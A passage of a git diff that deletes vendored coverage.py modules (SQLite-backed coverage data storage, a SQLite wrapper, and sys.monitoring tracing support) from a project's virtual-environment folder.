context: str) -> int | None: - """Get the id for a context.""" - assert context is not None - self._start_using() - with self._connect() as con: - row = con.execute_one("select id from context where context = ?", (context,)) - if row is not None: - return cast(int, row[0]) - else: - return None - - @_locked - def set_context(self, context: str | None) -> None: - """Set the current context for future :meth:`add_lines` etc. - - `context` is a str, the name of the context to use for the next data - additions. The context persists until the next :meth:`set_context`. - - .. versionadded:: 5.0 - - """ - if self._debug.should("dataop"): - self._debug.write(f"Setting coverage context: {context!r}") - self._current_context = context - self._current_context_id = None - - def _set_context_id(self) -> None: - """Use the _current_context to set _current_context_id.""" - context = self._current_context or "" - context_id = self._context_id(context) - if context_id is not None: - self._current_context_id = context_id - else: - with self._connect() as con: - self._current_context_id = con.execute_for_rowid( - "insert into context (context) values (?)", - (context,), - ) - - def base_filename(self) -> str: - """The base filename for storing data. - - .. versionadded:: 5.0 - - """ - return self._basename - - def data_filename(self) -> str: - """Where is the data stored? - - .. versionadded:: 5.0 - - """ - return self._filename - - @_locked - def add_lines(self, line_data: Mapping[str, Collection[TLineNo]]) -> None: - """Add measured line data. - - `line_data` is a dictionary mapping file names to iterables of ints:: - - { filename: { line1, line2, ... }, ...} - - """ - if self._debug.should("dataop"): - self._debug.write("Adding lines: %d files, %d lines total" % ( - len(line_data), sum(len(lines) for lines in line_data.values()), - )) - if self._debug.should("dataop2"): - for filename, linenos in sorted(line_data.items()): - self._debug.write(f" {filename}: {linenos}") - self._start_using() - self._choose_lines_or_arcs(lines=True) - if not line_data: - return - with self._connect() as con: - self._set_context_id() - for filename, linenos in line_data.items(): - line_bits = nums_to_numbits(linenos) - file_id = self._file_id(filename, add=True) - query = "select numbits from line_bits where file_id = ? and context_id = ?" - with con.execute(query, (file_id, self._current_context_id)) as cur: - existing = list(cur) - if existing: - line_bits = numbits_union(line_bits, existing[0][0]) - - con.execute_void( - "insert or replace into line_bits " + - " (file_id, context_id, numbits) values (?, ?, ?)", - (file_id, self._current_context_id, line_bits), - ) - - @_locked - def add_arcs(self, arc_data: Mapping[str, Collection[TArc]]) -> None: - """Add measured arc data. - - `arc_data` is a dictionary mapping file names to iterables of pairs of - ints:: - - { filename: { (l1,l2), (l1,l2), ... }, ...} - - """ - if self._debug.should("dataop"): - self._debug.write("Adding arcs: %d files, %d arcs total" % ( - len(arc_data), sum(len(arcs) for arcs in arc_data.values()), - )) - if self._debug.should("dataop2"): - for filename, arcs in sorted(arc_data.items()): - self._debug.write(f" {filename}: {arcs}") - self._start_using() - self._choose_lines_or_arcs(arcs=True) - if not arc_data: - return - with self._connect() as con: - self._set_context_id() - for filename, arcs in arc_data.items(): - if not arcs: - continue - file_id = self._file_id(filename, add=True) - data = [(file_id, self._current_context_id, fromno, tono) for fromno, tono in arcs] - con.executemany_void( - "insert or ignore into arc " + - "(file_id, context_id, fromno, tono) values (?, ?, ?, ?)", - data, - ) - - def _choose_lines_or_arcs(self, lines: bool = False, arcs: bool = False) -> None: - """Force the data file to choose between lines and arcs.""" - assert lines or arcs - assert not (lines and arcs) - if lines and self._has_arcs: - if self._debug.should("dataop"): - self._debug.write("Error: Can't add line measurements to existing branch data") - raise DataError("Can't add line measurements to existing branch data") - if arcs and self._has_lines: - if self._debug.should("dataop"): - self._debug.write("Error: Can't add branch measurements to existing line data") - raise DataError("Can't add branch measurements to existing line data") - if not self._has_arcs and not self._has_lines: - self._has_lines = lines - self._has_arcs = arcs - with self._connect() as con: - con.execute_void( - "insert or ignore into meta (key, value) values (?, ?)", - ("has_arcs", str(int(arcs))), - ) - - @_locked - def add_file_tracers(self, file_tracers: Mapping[str, str]) -> None: - """Add per-file plugin information. - - `file_tracers` is { filename: plugin_name, ... } - - """ - if self._debug.should("dataop"): - self._debug.write("Adding file tracers: %d files" % (len(file_tracers),)) - if not file_tracers: - return - self._start_using() - with self._connect() as con: - for filename, plugin_name in file_tracers.items(): - file_id = self._file_id(filename, add=True) - existing_plugin = self.file_tracer(filename) - if existing_plugin: - if existing_plugin != plugin_name: - raise DataError( - "Conflicting file tracer name for '{}': {!r} vs {!r}".format( - filename, existing_plugin, plugin_name, - ), - ) - elif plugin_name: - con.execute_void( - "insert into tracer (file_id, tracer) values (?, ?)", - (file_id, plugin_name), - ) - - def touch_file(self, filename: str, plugin_name: str = "") -> None: - """Ensure that `filename` appears in the data, empty if needed. - - `plugin_name` is the name of the plugin responsible for this file. - It is used to associate the right filereporter, etc. - """ - self.touch_files([filename], plugin_name) - - def touch_files(self, filenames: Collection[str], plugin_name: str | None = None) -> None: - """Ensure that `filenames` appear in the data, empty if needed. - - `plugin_name` is the name of the plugin responsible for these files. - It is used to associate the right filereporter, etc. - """ - if self._debug.should("dataop"): - self._debug.write(f"Touching {filenames!r}") - self._start_using() - with self._connect(): # Use this to get one transaction. - if not self._has_arcs and not self._has_lines: - raise DataError("Can't touch files in an empty CoverageData") - - for filename in filenames: - self._file_id(filename, add=True) - if plugin_name: - # Set the tracer for this file - self.add_file_tracers({filename: plugin_name}) - - def purge_files(self, filenames: Collection[str]) -> None: - """Purge any existing coverage data for the given `filenames`. - - .. versionadded:: 7.2 - - """ - if self._debug.should("dataop"): - self._debug.write(f"Purging data for {filenames!r}") - self._start_using() - with self._connect() as con: - - if self._has_lines: - sql = "delete from line_bits where file_id=?" - elif self._has_arcs: - sql = "delete from arc where file_id=?" - else: - raise DataError("Can't purge files in an empty CoverageData") - - for filename in filenames: - file_id = self._file_id(filename, add=False) - if file_id is None: - continue - con.execute_void(sql, (file_id,)) - - def update( - self, - other_data: CoverageData, - map_path: Callable[[str], str] | None = None, - ) -> None: - """Update this data with data from another :class:`CoverageData`. - - If `map_path` is provided, it's a function that re-map paths to match - the local machine's. Note: `map_path` is None only when called - directly from the test suite. - - """ - if self._debug.should("dataop"): - self._debug.write("Updating with data from {!r}".format( - getattr(other_data, "_filename", "???"), - )) - if self._has_lines and other_data._has_arcs: - raise DataError("Can't combine branch coverage data with statement data") - if self._has_arcs and other_data._has_lines: - raise DataError("Can't combine statement coverage data with branch data") - - map_path = map_path or (lambda p: p) - - # Force the database we're writing to to exist before we start nesting contexts. - self._start_using() - - # Collector for all arcs, lines and tracers - other_data.read() - with other_data._connect() as con: - # Get files data. - with con.execute("select path from file") as cur: - files = {path: map_path(path) for (path,) in cur} - - # Get contexts data. - with con.execute("select context from context") as cur: - contexts = [context for (context,) in cur] - - # Get arc data. - with con.execute( - "select file.path, context.context, arc.fromno, arc.tono " + - "from arc " + - "inner join file on file.id = arc.file_id " + - "inner join context on context.id = arc.context_id", - ) as cur: - arcs = [ - (files[path], context, fromno, tono) - for (path, context, fromno, tono) in cur - ] - - # Get line data. - with con.execute( - "select file.path, context.context, line_bits.numbits " + - "from line_bits " + - "inner join file on file.id = line_bits.file_id " + - "inner join context on context.id = line_bits.context_id", - ) as cur: - lines: dict[tuple[str, str], bytes] = {} - for path, context, numbits in cur: - key = (files[path], context) - if key in lines: - numbits = numbits_union(lines[key], numbits) - lines[key] = numbits - - # Get tracer data. - with con.execute( - "select file.path, tracer " + - "from tracer " + - "inner join file on file.id = tracer.file_id", - ) as cur: - tracers = {files[path]: tracer for (path, tracer) in cur} - - with self._connect() as con: - assert con.con is not None - con.con.isolation_level = "IMMEDIATE" - - # Get all tracers in the DB. Files not in the tracers are assumed - # to have an empty string tracer. Since Sqlite does not support - # full outer joins, we have to make two queries to fill the - # dictionary. - with con.execute("select path from file") as cur: - this_tracers = {path: "" for path, in cur} - with con.execute( - "select file.path, tracer from tracer " + - "inner join file on file.id = tracer.file_id", - ) as cur: - this_tracers.update({ - map_path(path): tracer - for path, tracer in cur - }) - - # Create all file and context rows in the DB. - con.executemany_void( - "insert or ignore into file (path) values (?)", - ((file,) for file in files.values()), - ) - with con.execute("select id, path from file") as cur: - file_ids = {path: id for id, path in cur} - self._file_map.update(file_ids) - con.executemany_void( - "insert or ignore into context (context) values (?)", - ((context,) for context in contexts), - ) - with con.execute("select id, context from context") as cur: - context_ids = {context: id for id, context in cur} - - # Prepare tracers and fail, if a conflict is found. - # tracer_paths is used to ensure consistency over the tracer data - # and tracer_map tracks the tracers to be inserted. - tracer_map = {} - for path in files.values(): - this_tracer = this_tracers.get(path) - other_tracer = tracers.get(path, "") - # If there is no tracer, there is always the None tracer. - if this_tracer is not None and this_tracer != other_tracer: - raise DataError( - "Conflicting file tracer name for '{}': {!r} vs {!r}".format( - path, this_tracer, other_tracer, - ), - ) - tracer_map[path] = other_tracer - - # Prepare arc and line rows to be inserted by converting the file - # and context strings with integer ids. Then use the efficient - # `executemany()` to insert all rows at once. - - if arcs: - self._choose_lines_or_arcs(arcs=True) - - arc_rows = ( - (file_ids[file], context_ids[context], fromno, tono) - for file, context, fromno, tono in arcs - ) - - # Write the combined data. - con.executemany_void( - "insert or ignore into arc " + - "(file_id, context_id, fromno, tono) values (?, ?, ?, ?)", - arc_rows, - ) - - if lines: - self._choose_lines_or_arcs(lines=True) - - for (file, context), numbits in lines.items(): - with con.execute( - "select numbits from line_bits where file_id = ? and context_id = ?", - (file_ids[file], context_ids[context]), - ) as cur: - existing = list(cur) - if existing: - lines[(file, context)] = numbits_union(numbits, existing[0][0]) - - con.executemany_void( - "insert or replace into line_bits " + - "(file_id, context_id, numbits) values (?, ?, ?)", - [ - (file_ids[file], context_ids[context], numbits) - for (file, context), numbits in lines.items() - ], - ) - - con.executemany_void( - "insert or ignore into tracer (file_id, tracer) values (?, ?)", - ((file_ids[filename], tracer) for filename, tracer in tracer_map.items()), - ) - - if not self._no_disk: - # Update all internal cache data. - self._reset() - self.read() - - def erase(self, parallel: bool = False) -> None: - """Erase the data in this object. - - If `parallel` is true, then also deletes data files created from the - basename by parallel-mode. - - """ - self._reset() - if self._no_disk: - return - if self._debug.should("dataio"): - self._debug.write(f"Erasing data file {self._filename!r}") - file_be_gone(self._filename) - if parallel: - data_dir, local = os.path.split(self._filename) - local_abs_path = os.path.join(os.path.abspath(data_dir), local) - pattern = glob.escape(local_abs_path) + ".*" - for filename in glob.glob(pattern): - if self._debug.should("dataio"): - self._debug.write(f"Erasing parallel data file {filename!r}") - file_be_gone(filename) - - def read(self) -> None: - """Start using an existing data file.""" - if os.path.exists(self._filename): - with self._connect(): - self._have_used = True - - def write(self) -> None: - """Ensure the data is written to the data file.""" - pass - - def _start_using(self) -> None: - """Call this before using the database at all.""" - if self._pid != os.getpid(): - # Looks like we forked! Have to start a new data file. - self._reset() - self._choose_filename() - self._pid = os.getpid() - if not self._have_used: - self.erase() - self._have_used = True - - def has_arcs(self) -> bool: - """Does the database have arcs (True) or lines (False).""" - return bool(self._has_arcs) - - def measured_files(self) -> set[str]: - """A set of all files that have been measured. - - Note that a file may be mentioned as measured even though no lines or - arcs for that file are present in the data. - - """ - return set(self._file_map) - - def measured_contexts(self) -> set[str]: - """A set of all contexts that have been measured. - - .. versionadded:: 5.0 - - """ - self._start_using() - with self._connect() as con: - with con.execute("select distinct(context) from context") as cur: - contexts = {row[0] for row in cur} - return contexts - - def file_tracer(self, filename: str) -> str | None: - """Get the plugin name of the file tracer for a file. - - Returns the name of the plugin that handles this file. If the file was - measured, but didn't use a plugin, then "" is returned. If the file - was not measured, then None is returned. - - """ - self._start_using() - with self._connect() as con: - file_id = self._file_id(filename) - if file_id is None: - return None - row = con.execute_one("select tracer from tracer where file_id = ?", (file_id,)) - if row is not None: - return row[0] or "" - return "" # File was measured, but no tracer associated. - - def set_query_context(self, context: str) -> None: - """Set a context for subsequent querying. - - The next :meth:`lines`, :meth:`arcs`, or :meth:`contexts_by_lineno` - calls will be limited to only one context. `context` is a string which - must match a context exactly. If it does not, no exception is raised, - but queries will return no data. - - .. versionadded:: 5.0 - - """ - self._start_using() - with self._connect() as con: - with con.execute("select id from context where context = ?", (context,)) as cur: - self._query_context_ids = [row[0] for row in cur.fetchall()] - - def set_query_contexts(self, contexts: Sequence[str] | None) -> None: - """Set a number of contexts for subsequent querying. - - The next :meth:`lines`, :meth:`arcs`, or :meth:`contexts_by_lineno` - calls will be limited to the specified contexts. `contexts` is a list - of Python regular expressions. Contexts will be matched using - :func:`re.search `. Data will be included in query - results if they are part of any of the contexts matched. - - .. versionadded:: 5.0 - - """ - self._start_using() - if contexts: - with self._connect() as con: - context_clause = " or ".join(["context regexp ?"] * len(contexts)) - with con.execute("select id from context where " + context_clause, contexts) as cur: - self._query_context_ids = [row[0] for row in cur.fetchall()] - else: - self._query_context_ids = None - - def lines(self, filename: str) -> list[TLineNo] | None: - """Get the list of lines executed for a source file. - - If the file was not measured, returns None. A file might be measured, - and have no lines executed, in which case an empty list is returned. - - If the file was executed, returns a list of integers, the line numbers - executed in the file. The list is in no particular order. - - """ - self._start_using() - if self.has_arcs(): - arcs = self.arcs(filename) - if arcs is not None: - all_lines = itertools.chain.from_iterable(arcs) - return list({l for l in all_lines if l > 0}) - - with self._connect() as con: - file_id = self._file_id(filename) - if file_id is None: - return None - else: - query = "select numbits from line_bits where file_id = ?" - data = [file_id] - if self._query_context_ids is not None: - ids_array = ", ".join("?" * len(self._query_context_ids)) - query += " and context_id in (" + ids_array + ")" - data += self._query_context_ids - with con.execute(query, data) as cur: - bitmaps = list(cur) - nums = set() - for row in bitmaps: - nums.update(numbits_to_nums(row[0])) - return list(nums) - - def arcs(self, filename: str) -> list[TArc] | None: - """Get the list of arcs executed for a file. - - If the file was not measured, returns None. A file might be measured, - and have no arcs executed, in which case an empty list is returned. - - If the file was executed, returns a list of 2-tuples of integers. Each - pair is a starting line number and an ending line number for a - transition from one line to another. The list is in no particular - order. - - Negative numbers have special meaning. If the starting line number is - -N, it represents an entry to the code object that starts at line N. - If the ending ling number is -N, it's an exit from the code object that - starts at line N. - - """ - self._start_using() - with self._connect() as con: - file_id = self._file_id(filename) - if file_id is None: - return None - else: - query = "select distinct fromno, tono from arc where file_id = ?" - data = [file_id] - if self._query_context_ids is not None: - ids_array = ", ".join("?" * len(self._query_context_ids)) - query += " and context_id in (" + ids_array + ")" - data += self._query_context_ids - with con.execute(query, data) as cur: - return list(cur) - - def contexts_by_lineno(self, filename: str) -> dict[TLineNo, list[str]]: - """Get the contexts for each line in a file. - - Returns: - A dict mapping line numbers to a list of context names. - - .. versionadded:: 5.0 - - """ - self._start_using() - with self._connect() as con: - file_id = self._file_id(filename) - if file_id is None: - return {} - - lineno_contexts_map = collections.defaultdict(set) - if self.has_arcs(): - query = ( - "select arc.fromno, arc.tono, context.context " + - "from arc, context " + - "where arc.file_id = ? and arc.context_id = context.id" - ) - data = [file_id] - if self._query_context_ids is not None: - ids_array = ", ".join("?" * len(self._query_context_ids)) - query += " and arc.context_id in (" + ids_array + ")" - data += self._query_context_ids - with con.execute(query, data) as cur: - for fromno, tono, context in cur: - if fromno > 0: - lineno_contexts_map[fromno].add(context) - if tono > 0: - lineno_contexts_map[tono].add(context) - else: - query = ( - "select l.numbits, c.context from line_bits l, context c " + - "where l.context_id = c.id " + - "and file_id = ?" - ) - data = [file_id] - if self._query_context_ids is not None: - ids_array = ", ".join("?" * len(self._query_context_ids)) - query += " and l.context_id in (" + ids_array + ")" - data += self._query_context_ids - with con.execute(query, data) as cur: - for numbits, context in cur: - for lineno in numbits_to_nums(numbits): - lineno_contexts_map[lineno].add(context) - - return {lineno: list(contexts) for lineno, contexts in lineno_contexts_map.items()} - - @classmethod - def sys_info(cls) -> list[tuple[str, Any]]: - """Our information for `Coverage.sys_info`. - - Returns a list of (key, value) pairs. - - """ - with SqliteDb(":memory:", debug=NoDebugging()) as db: - with db.execute("pragma temp_store") as cur: - temp_store = [row[0] for row in cur] - with db.execute("pragma compile_options") as cur: - copts = [row[0] for row in cur] - copts = textwrap.wrap(", ".join(copts), width=75) - - return [ - ("sqlite3_sqlite_version", sqlite3.sqlite_version), - ("sqlite3_temp_store", temp_store), - ("sqlite3_compile_options", copts), - ] - - -def filename_suffix(suffix: str | bool | None) -> str | None: - """Compute a filename suffix for a data file. - - If `suffix` is a string or None, simply return it. If `suffix` is True, - then build a suffix incorporating the hostname, process id, and a random - number. - - Returns a string or None. - - """ - if suffix is True: - # If data_suffix was a simple true value, then make a suffix with - # plenty of distinguishing information. We do this here in - # `save()` at the last minute so that the pid will be correct even - # if the process forks. - die = random.Random(os.urandom(8)) - letters = string.ascii_uppercase + string.ascii_lowercase - rolls = "".join(die.choice(letters) for _ in range(6)) - suffix = f"{socket.gethostname()}.{os.getpid()}.X{rolls}x" - elif suffix is False: - suffix = None - return suffix diff --git a/backend/venv/Lib/site-packages/coverage/sqlitedb.py b/backend/venv/Lib/site-packages/coverage/sqlitedb.py deleted file mode 100644 index 1bbe7e1b..00000000 --- a/backend/venv/Lib/site-packages/coverage/sqlitedb.py +++ /dev/null @@ -1,231 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""SQLite abstraction for coverage.py""" - -from __future__ import annotations - -import contextlib -import re -import sqlite3 - -from typing import cast, Any -from collections.abc import Iterable, Iterator - -from coverage.debug import auto_repr, clipped_repr, exc_one_line -from coverage.exceptions import DataError -from coverage.types import TDebugCtl - - -class SqliteDb: - """A simple abstraction over a SQLite database. - - Use as a context manager, then you can use it like a - :class:`python:sqlite3.Connection` object:: - - with SqliteDb(filename, debug_control) as db: - with db.execute("select a, b from some_table") as cur: - for a, b in cur: - etc(a, b) - - """ - def __init__(self, filename: str, debug: TDebugCtl) -> None: - self.debug = debug - self.filename = filename - self.nest = 0 - self.con: sqlite3.Connection | None = None - - __repr__ = auto_repr - - def _connect(self) -> None: - """Connect to the db and do universal initialization.""" - if self.con is not None: - return - - # It can happen that Python switches threads while the tracer writes - # data. The second thread will also try to write to the data, - # effectively causing a nested context. However, given the idempotent - # nature of the tracer operations, sharing a connection among threads - # is not a problem. - if self.debug.should("sql"): - self.debug.write(f"Connecting to {self.filename!r}") - try: - self.con = sqlite3.connect(self.filename, check_same_thread=False) - except sqlite3.Error as exc: - raise DataError(f"Couldn't use data file {self.filename!r}: {exc}") from exc - - if self.debug.should("sql"): - self.debug.write(f"Connected to {self.filename!r} as {self.con!r}") - - self.con.create_function("REGEXP", 2, lambda txt, pat: re.search(txt, pat) is not None) - - # Turning off journal_mode can speed up writing. It can't always be - # disabled, so we have to be prepared for *-journal files elsewhere. - # In Python 3.12+, we can change the config to allow journal_mode=off. - if hasattr(sqlite3, "SQLITE_DBCONFIG_DEFENSIVE"): - # Turn off defensive mode, so that journal_mode=off can succeed. - self.con.setconfig( # type: ignore[attr-defined, unused-ignore] - sqlite3.SQLITE_DBCONFIG_DEFENSIVE, False, - ) - - # This pragma makes writing faster. It disables rollbacks, but we never need them. - self.execute_void("pragma journal_mode=off") - - # This pragma makes writing faster. It can fail in unusual situations - # (https://github.com/nedbat/coveragepy/issues/1646), so use fail_ok=True - # to keep things going. - self.execute_void("pragma synchronous=off", fail_ok=True) - - def close(self) -> None: - """If needed, close the connection.""" - if self.con is not None and self.filename != ":memory:": - if self.debug.should("sql"): - self.debug.write(f"Closing {self.con!r} on {self.filename!r}") - self.con.close() - self.con = None - - def __enter__(self) -> SqliteDb: - if self.nest == 0: - self._connect() - assert self.con is not None - self.con.__enter__() - self.nest += 1 - return self - - def __exit__(self, exc_type, exc_value, traceback) -> None: # type: ignore[no-untyped-def] - self.nest -= 1 - if self.nest == 0: - try: - assert self.con is not None - self.con.__exit__(exc_type, exc_value, traceback) - self.close() - except Exception as exc: - if self.debug.should("sql"): - self.debug.write(f"EXCEPTION from __exit__: {exc_one_line(exc)}") - raise DataError(f"Couldn't end data file {self.filename!r}: {exc}") from exc - - def _execute(self, sql: str, parameters: Iterable[Any]) -> sqlite3.Cursor: - """Same as :meth:`python:sqlite3.Connection.execute`.""" - if self.debug.should("sql"): - tail = f" with {parameters!r}" if parameters else "" - self.debug.write(f"Executing {sql!r}{tail}") - try: - assert self.con is not None - try: - return self.con.execute(sql, parameters) # type: ignore[arg-type] - except Exception: - # In some cases, an error might happen that isn't really an - # error. Try again immediately. - # https://github.com/nedbat/coveragepy/issues/1010 - return self.con.execute(sql, parameters) # type: ignore[arg-type] - except sqlite3.Error as exc: - msg = str(exc) - if self.filename != ":memory:": - try: - # `execute` is the first thing we do with the database, so try - # hard to provide useful hints if something goes wrong now. - with open(self.filename, "rb") as bad_file: - cov4_sig = b"!coverage.py: This is a private format" - if bad_file.read(len(cov4_sig)) == cov4_sig: - msg = ( - "Looks like a coverage 4.x data file. " + - "Are you mixing versions of coverage?" - ) - except Exception: - pass - if self.debug.should("sql"): - self.debug.write(f"EXCEPTION from execute: {exc_one_line(exc)}") - raise DataError(f"Couldn't use data file {self.filename!r}: {msg}") from exc - - @contextlib.contextmanager - def execute( - self, - sql: str, - parameters: Iterable[Any] = (), - ) -> Iterator[sqlite3.Cursor]: - """Context managed :meth:`python:sqlite3.Connection.execute`. - - Use with a ``with`` statement to auto-close the returned cursor. - """ - cur = self._execute(sql, parameters) - try: - yield cur - finally: - cur.close() - - def execute_void(self, sql: str, parameters: Iterable[Any] = (), fail_ok: bool = False) -> None: - """Same as :meth:`python:sqlite3.Connection.execute` when you don't need the cursor. - - If `fail_ok` is True, then SQLite errors are ignored. - """ - try: - # PyPy needs the .close() calls here, or sqlite gets twisted up: - # https://bitbucket.org/pypy/pypy/issues/2872/default-isolation-mode-is-different-on - self._execute(sql, parameters).close() - except DataError: - if not fail_ok: - raise - - def execute_for_rowid(self, sql: str, parameters: Iterable[Any] = ()) -> int: - """Like execute, but returns the lastrowid.""" - with self.execute(sql, parameters) as cur: - assert cur.lastrowid is not None - rowid: int = cur.lastrowid - if self.debug.should("sqldata"): - self.debug.write(f"Row id result: {rowid!r}") - return rowid - - def execute_one(self, sql: str, parameters: Iterable[Any] = ()) -> tuple[Any, ...] | None: - """Execute a statement and return the one row that results. - - This is like execute(sql, parameters).fetchone(), except it is - correct in reading the entire result set. This will raise an - exception if more than one row results. - - Returns a row, or None if there were no rows. - """ - with self.execute(sql, parameters) as cur: - rows = list(cur) - if len(rows) == 0: - return None - elif len(rows) == 1: - return cast(tuple[Any, ...], rows[0]) - else: - raise AssertionError(f"SQL {sql!r} shouldn't return {len(rows)} rows") - - def _executemany(self, sql: str, data: list[Any]) -> sqlite3.Cursor: - """Same as :meth:`python:sqlite3.Connection.executemany`.""" - if self.debug.should("sql"): - final = ":" if self.debug.should("sqldata") else "" - self.debug.write(f"Executing many {sql!r} with {len(data)} rows{final}") - if self.debug.should("sqldata"): - for i, row in enumerate(data): - self.debug.write(f"{i:4d}: {row!r}") - assert self.con is not None - try: - return self.con.executemany(sql, data) - except Exception: - # In some cases, an error might happen that isn't really an - # error. Try again immediately. - # https://github.com/nedbat/coveragepy/issues/1010 - return self.con.executemany(sql, data) - - def executemany_void(self, sql: str, data: Iterable[Any]) -> None: - """Same as :meth:`python:sqlite3.Connection.executemany` when you don't need the cursor.""" - data = list(data) - if data: - self._executemany(sql, data).close() - - def executescript(self, script: str) -> None: - """Same as :meth:`python:sqlite3.Connection.executescript`.""" - if self.debug.should("sql"): - self.debug.write("Executing script with {} chars: {}".format( - len(script), clipped_repr(script, 100), - )) - assert self.con is not None - self.con.executescript(script).close() - - def dump(self) -> str: - """Return a multi-line string, the SQL dump of the database.""" - assert self.con is not None - return "\n".join(self.con.iterdump()) diff --git a/backend/venv/Lib/site-packages/coverage/sysmon.py b/backend/venv/Lib/site-packages/coverage/sysmon.py deleted file mode 100644 index 2c460276..00000000 --- a/backend/venv/Lib/site-packages/coverage/sysmon.py +++ /dev/null @@ -1,457 +0,0 @@ -# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 -# For details: https://github.com/nedbat/coveragepy/blob/master/NOTICE.txt - -"""Callback functions and support for sys.monitoring data collection.""" - -from __future__ import annotations - -import functools -import inspect -import os -import os.path -import sys -import threading -import traceback - -from dataclasses import dataclass -from types import CodeType -from typing import ( - Any, - Callable, - NewType, - Optional, - cast, -) - -from coverage import env -from coverage.bytecode import TBranchTrails, branch_trails -from coverage.debug import short_filename, short_stack -from coverage.misc import isolate_module -from coverage.types import ( - AnyCallable, - TFileDisposition, - TLineNo, - TOffset, - TShouldStartContextFn, - TShouldTraceFn, - TTraceData, - TTraceFileData, - Tracer, - TWarnFn, -) - -os = isolate_module(os) - -# pylint: disable=unused-argument - -# $set_env.py: COVERAGE_SYSMON_LOG - Log sys.monitoring activity -LOG = bool(int(os.getenv("COVERAGE_SYSMON_LOG", 0))) - -# $set_env.py: COVERAGE_SYSMON_STATS - Collect sys.monitoring stats -COLLECT_STATS = bool(int(os.getenv("COVERAGE_SYSMON_STATS", 0))) - -# This module will be imported in all versions of Python, but only used in 3.12+ -# It will be type-checked for 3.12, but not for earlier versions. -sys_monitoring = getattr(sys, "monitoring", None) - -DISABLE_TYPE = NewType("DISABLE_TYPE", object) -MonitorReturn = Optional[DISABLE_TYPE] -DISABLE = cast(MonitorReturn, getattr(sys_monitoring, "DISABLE", None)) - - -if LOG: # pragma: debugging - - class LoggingWrapper: - """Wrap a namespace to log all its functions.""" - - def __init__(self, wrapped: Any, namespace: str) -> None: - self.wrapped = wrapped - self.namespace = namespace - - def __getattr__(self, name: str) -> Callable[..., Any]: - def _wrapped(*args: Any, **kwargs: Any) -> Any: - log(f"{self.namespace}.{name}{args}{kwargs}") - return getattr(self.wrapped, name)(*args, **kwargs) - - return _wrapped - - sys_monitoring = LoggingWrapper(sys_monitoring, "sys.monitoring") - assert sys_monitoring is not None - - short_stack = functools.partial( - short_stack, - full=True, - short_filenames=True, - frame_ids=True, - ) - seen_threads: set[int] = set() - - def log(msg: str) -> None: - """Write a message to our detailed debugging log(s).""" - # Thread ids are reused across processes? - # Make a shorter number more likely to be unique. - pid = os.getpid() - tid = cast(int, threading.current_thread().ident) - tslug = f"{(pid * tid) % 9_999_991:07d}" - if tid not in seen_threads: - seen_threads.add(tid) - log(f"New thread {tid} {tslug}:\n{short_stack()}") - # log_seq = int(os.getenv("PANSEQ", "0")) - # root = f"/tmp/pan.{log_seq:03d}" - for filename in [ - "/tmp/foo.out", - # f"{root}.out", - # f"{root}-{pid}.out", - # f"{root}-{pid}-{tslug}.out", - ]: - with open(filename, "a", encoding="utf-8") as f: - try: - print(f"{pid}:{tslug}: {msg}", file=f, flush=True) - except UnicodeError: - print(f"{pid}:{tslug}: {ascii(msg)}", file=f, flush=True) - - def arg_repr(arg: Any) -> str: - """Make a customized repr for logged values.""" - if isinstance(arg, CodeType): - return ( - f"" - ) - return repr(arg) - - def panopticon(*names: str | None) -> AnyCallable: - """Decorate a function to log its calls.""" - - def _decorator(method: AnyCallable) -> AnyCallable: - @functools.wraps(method) - def _wrapped(self: Any, *args: Any) -> Any: - try: - # log(f"{method.__name__}() stack:\n{short_stack()}") - args_reprs = [] - for name, arg in zip(names, args): - if name is None: - continue - args_reprs.append(f"{name}={arg_repr(arg)}") - log(f"{id(self):#x}:{method.__name__}({', '.join(args_reprs)})") - ret = method(self, *args) - # log(f" end {id(self):#x}:{method.__name__}({', '.join(args_reprs)})") - return ret - except Exception as exc: - log(f"!!{exc.__class__.__name__}: {exc}") - if 1: - # pylint: disable=no-value-for-parameter - log("".join(traceback.format_exception(exc))) - try: - assert sys_monitoring is not None - sys_monitoring.set_events(sys.monitoring.COVERAGE_ID, 0) - except ValueError: - # We might have already shut off monitoring. - log("oops, shutting off events with disabled tool id") - raise - - return _wrapped - - return _decorator - -else: - - def log(msg: str) -> None: - """Write a message to our detailed debugging log(s), but not really.""" - - def panopticon(*names: str | None) -> AnyCallable: - """Decorate a function to log its calls, but not really.""" - - def _decorator(meth: AnyCallable) -> AnyCallable: - return meth - - return _decorator - - -@dataclass -class CodeInfo: - """The information we want about each code object.""" - - tracing: bool - file_data: TTraceFileData | None - byte_to_line: dict[TOffset, TLineNo] | None - - # Keys are start instruction offsets for branches. - # Values are lists: - # [ - # ([offset, offset, ...], (from_line, to_line)), - # ([offset, offset, ...], (from_line, to_line)), - # ] - # Two possible trails from the branch point, left and right. - branch_trails: TBranchTrails - - -def bytes_to_lines(code: CodeType) -> dict[TOffset, TLineNo]: - """Make a dict mapping byte code offsets to line numbers.""" - b2l = {} - for bstart, bend, lineno in code.co_lines(): - if lineno is not None: - for boffset in range(bstart, bend, 2): - b2l[boffset] = lineno - return b2l - - -class SysMonitor(Tracer): - """Python implementation of the raw data tracer for PEP669 implementations.""" - - # One of these will be used across threads. Be careful. - - def __init__(self, tool_id: int) -> None: - # Attributes set from the collector: - self.data: TTraceData - self.trace_arcs = False - self.should_trace: TShouldTraceFn - self.should_trace_cache: dict[str, TFileDisposition | None] - # TODO: should_start_context and switch_context are unused! - # Change tests/testenv.py:DYN_CONTEXTS when this is updated. - self.should_start_context: TShouldStartContextFn | None = None - self.switch_context: Callable[[str | None], None] | None = None - self.lock_data: Callable[[], None] - self.unlock_data: Callable[[], None] - # TODO: warn is unused. - self.warn: TWarnFn - - self.myid = tool_id - - # Map id(code_object) -> CodeInfo - self.code_infos: dict[int, CodeInfo] = {} - # A list of code_objects, just to keep them alive so that id's are - # useful as identity. - self.code_objects: list[CodeType] = [] - self.sysmon_on = False - self.lock = threading.Lock() - - self.stats: dict[str, int] | None = None - if COLLECT_STATS: - self.stats = dict.fromkeys( - "starts start_tracing returns line_lines line_arcs branches branch_trails".split(), - 0, - ) - - self._activity = False - - def __repr__(self) -> str: - points = sum(len(v) for v in self.data.values()) - files = len(self.data) - return f"" - - @panopticon() - def start(self) -> None: - """Start this Tracer.""" - with self.lock: - assert sys_monitoring is not None - sys_monitoring.use_tool_id(self.myid, "coverage.py") - register = functools.partial(sys_monitoring.register_callback, self.myid) - events = sys.monitoring.events - - sys_monitoring.set_events(self.myid, events.PY_START) - register(events.PY_START, 